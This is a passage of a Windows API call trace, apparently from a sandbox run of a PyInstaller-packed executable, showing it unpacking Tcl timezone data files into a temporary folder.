lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.797] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.797] CloseHandle (hObject=0x10c) returned 1 [0038.797] GetLastError () returned 0x0 [0038.797] SetLastError (dwErrCode=0x0) [0038.797] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.798] GetFileType (hFile=0x10c) returned 0x1 [0038.798] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.798] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.798] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.798] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.798] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.798] CloseHandle (hObject=0x10c) returned 1 [0038.798] GetLastError () returned 0x0 [0038.798] SetLastError (dwErrCode=0x0) [0038.798] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza") returned 74 [0038.798] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\fortaleza"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.798] GetLastError () returned 0x2 [0038.798] SetLastError (dwErrCode=0x2) [0038.798] GetLastError () returned 0x2 [0038.799] SetLastError (dwErrCode=0x2) [0038.799] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza", lpFilePart=0x0) returned 0x49 [0038.799] GetLastError () returned 0x2 [0038.799] SetLastError (dwErrCode=0x2) [0038.799] GetLastError () returned 0x2 [0038.799] SetLastError (dwErrCode=0x2) [0038.799] GetLastError () returned 0x2 [0038.799] SetLastError (dwErrCode=0x2) [0038.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza") returned 74 [0038.799] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.799] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Fortaleza" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\fortaleza"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.799] GetFileType (hFile=0x10c) returned 0x1 [0038.799] htonl (hostlong=0x72050000) returned 0x572 [0038.799] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.799] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x572, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x572, lpOverlapped=0x0) returned 1 [0038.800] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.800] CloseHandle (hObject=0x10c) returned 1 [0038.801] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0038.801] htonl (hostlong=0x30000000) returned 0x30 [0038.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.801] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.801] GetFileType (hFile=0x10c) returned 0x1 [0038.801] htonl (hostlong=0x28015900) returned 0x590128 [0038.801] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5db128, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.801] htonl (hostlong=0x36060000) returned 0x636 [0038.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x636) returned 0x550600 [0038.801] htonl (hostlong=0x36060000) returned 0x636 [0038.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.801] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.801] htonl (hostlong=0xa31f0000) returned 0x1fa3 [0038.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1fa3) returned 0x561090 [0038.801] htonl (hostlong=0x36060000) returned 0x636 [0038.801] htonl (hostlong=0xa31f0000) returned 0x1fa3 [0038.801] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x563040 [0038.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x563040 | out: hHeap=0x530000) returned 1 [0038.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.802] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.802] CloseHandle (hObject=0x10c) returned 1 [0038.802] GetLastError () returned 0x0 [0038.802] SetLastError (dwErrCode=0x0) [0038.802] GetLastError () returned 0x0 [0038.802] SetLastError (dwErrCode=0x0) [0038.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.802] GetFileType (hFile=0x10c) returned 0x1 [0038.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.802] CloseHandle (hObject=0x10c) returned 1 [0038.802] GetLastError () returned 0x0 [0038.802] SetLastError (dwErrCode=0x0) [0038.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.803] GetFileType (hFile=0x10c) returned 0x1 [0038.803] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.803] CloseHandle (hObject=0x10c) returned 1 [0038.803] GetLastError () returned 0x0 [0038.803] SetLastError (dwErrCode=0x0) [0038.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.803] GetFileType (hFile=0x10c) returned 0x1 [0038.803] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.803] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.803] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.803] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.804] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.804] CloseHandle (hObject=0x10c) returned 1 [0038.804] GetLastError () returned 0x0 [0038.804] SetLastError (dwErrCode=0x0) [0038.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay") returned 74 [0038.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\glace_bay"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0038.804] GetLastError () returned 0x2 [0038.804] SetLastError (dwErrCode=0x2) [0038.804] GetLastError () returned 0x2 [0038.804] SetLastError (dwErrCode=0x2) [0038.804] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay", lpFilePart=0x0) returned 0x49 [0038.804] GetLastError () returned 0x2 [0038.804] SetLastError (dwErrCode=0x2) [0038.804] GetLastError () returned 0x2 [0038.804] SetLastError (dwErrCode=0x2) [0038.804] GetLastError () returned 0x2 [0038.804] SetLastError (dwErrCode=0x2) [0038.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay") returned 74 [0038.804] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0038.804] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Glace_Bay" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\glace_bay"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.807] GetFileType (hFile=0x10c) returned 0x1 [0038.807] htonl (hostlong=0xa31f0000) returned 0x1fa3 [0038.807] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0038.808] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.808] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xfa3, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xfa3, lpOverlapped=0x0) returned 1 [0038.809] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.809] CloseHandle (hObject=0x10c) returned 1 [0038.809] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0038.809] htonl (hostlong=0x30000000) returned 0x30 [0038.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0038.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0038.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0038.809] GetFileType (hFile=0x10c) returned 0x1 [0038.810] htonl (hostlong=0x5e075900) returned 0x59075e [0038.810] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5db75e, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0038.810] htonl (hostlong=0xa3050000) returned 0x5a3 [0038.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x5a3) returned 0x550600 [0038.810] htonl (hostlong=0xa3050000) returned 0x5a3 [0038.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0038.810] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0038.810] htonl (hostlong=0x8a1c0000) returned 0x1c8a [0038.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1c8a) returned 0x561090 [0038.810] htonl (hostlong=0xa3050000) returned 0x5a3 [0038.810] htonl (hostlong=0x8a1c0000) returned 0x1c8a [0038.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d28 [0038.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d28 | out: hHeap=0x530000) returned 1 [0038.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0038.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0038.810] CloseHandle (hObject=0x10c) returned 1 [0038.810] GetLastError () returned 0x0 [0038.810] SetLastError (dwErrCode=0x0) [0038.810] GetLastError () returned 0x0 [0038.810] SetLastError (dwErrCode=0x0) [0038.810] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0038.810] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.810] GetFileType (hFile=0x10c) returned 0x1 [0038.810] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.810] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.810] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.811] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.811] CloseHandle (hObject=0x10c) returned 1 [0038.811] GetLastError () returned 0x0 [0038.811] SetLastError (dwErrCode=0x0) [0038.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0038.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.811] GetFileType (hFile=0x10c) returned 0x1 [0038.811] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0038.811] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0038.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0038.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.811] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0038.811] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0038.811] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0038.811] CloseHandle (hObject=0x10c) returned 1 [0038.811] GetLastError () returned 0x0 [0038.811] SetLastError (dwErrCode=0x0) [0038.812] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0038.812] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0038.812] GetFileType (hFile=0x10c) returned 0x1 [0038.812] 